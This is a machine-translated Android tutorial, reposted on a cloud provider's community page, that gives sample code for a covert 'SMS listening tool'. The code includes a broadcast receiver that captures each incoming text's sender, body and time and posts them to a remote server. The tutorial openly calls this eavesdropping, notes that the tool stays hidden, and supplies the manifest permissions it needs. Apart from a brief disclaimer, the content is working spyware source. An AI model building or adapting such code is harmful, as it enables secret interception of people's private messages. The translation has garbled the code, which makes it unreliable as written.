Android SMS Listening tool (sample code) _android

Source: Internet
Author: User

Before learning This example, readers should first understand the basic concepts and usage of "broadcast receivers" in the four Android components.

Because it is a "listener", there is no need to establish an activity. This is also a kind of "cover" it. The use of broadcastreceiver, you can achieve this "unspeakable" purpose. Oh. Of course, it is more appropriate to use services to develop such applications. There is no further discussion of "service" here. This example is for learning reference only, please do not use illegally.

Copy Code code as follows:

Package cn.itcast.sms;

Import Java.sql.Date;
Import Java.text.SimpleDateFormat;
Import Java.util.HashMap;
Import Java.util.Map;

Import Cn.itcast.utils.SocketHttpRequester;

Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
Import Android.telephony.SmsMessage;
Import Android.util.Log;

public class Smsbroadcastreceiver extends Broadcastreceiver {
On the recipient side, get the message and send the relevant information to the server for eavesdropping.
@Override
public void OnReceive (context context, Intent Intent) {
Object[] pduses = (object[]) Intent.getextras (). Get ("PDUs");
for (Object pdus:pduses) {
Byte[] Pdusmessage = (byte[]) pdus;//not a single message
Smsmessage SMS = SMSMESSAGE.CREATEFROMPDU (pdusmessage);
String mobile = sms.getoriginatingaddress ()//Get phone number
String content = Sms.getmessagebody ()//Get the contents of the message
Date date = new Date (Sms.gettimestampmillis ());//Get Send SMS specific time
2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat ("Yyyy-mm-dd HH:mm:ss")//format for practice
String sendtime = Format.format (date);
map<string, string> params = new hashmap<string, string> ();
Params.put ("Method", "Getsms"), and/or the text related to all of the content in the collection
Params.put ("mobile", mobile);
Params.put ("content", content);
Params.put ("Sendtime", sendtime);
try {//Use socket to send eavesdropping to server
Sockethttprequester.post ("Http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
catch (Exception e) {
LOG.E ("Smsbroadcastreceiver", e.tostring ());
}
}
}

}


Note Modifying the configuration of the Android project file
Copy Code code as follows:

<?xml version= "1.0" encoding= "Utf-8"?>
<manifest xmlns:android= "Http://schemas.android.com/apk/res/android"
Package= "Cn.itcast.sms"
Android:versioncode= "1"
Android:versionname= "1.0" >
<application android:icon= "@drawable/icon" android:label= "@string/app_name" >
<receiver android:name= ". Smsbroadcastreceiver ">
<intent-filter>
<action android:name= "Android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

</application>
<USES-SDK android:minsdkversion= "8"/>
<uses-permission android:name= "Android.permission.RECEIVE_SMS"/><!--receive SMS Privileges-->
<!--permissions to access the network-->
<uses-permission android:name= "Android.permission.INTERNET"/>
</manifest>


Last but not least, there are 2 ways to register a broadcast in Android (the second way--Configuring the project manifest file).

First, register through the code;


When you implement a broadcast receiver, you also set the type of broadcast receiver to receive broadcast information, here is the information:Android.provider.Telephony.SMS_RECEIVED

We can register the broadcast receiver into the system and let the system know that we have a broadcast receiver. Here are two kinds, one is code dynamic registration:

Copy Code code as follows:

Generate broadcast Processing
Smsbroadcastreceiver = new Smsbroadcastreceiver ();
Instantiate the filter and set the broadcast to filter
Intentfilter intentfilter = new Intentfilter ();
Intentfilter.addaction (sms_action);

Register for Broadcast
BroadCastReceiverActivity.this.registerReceiver (Smsbroadcastreceiver, Intentfilter);

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.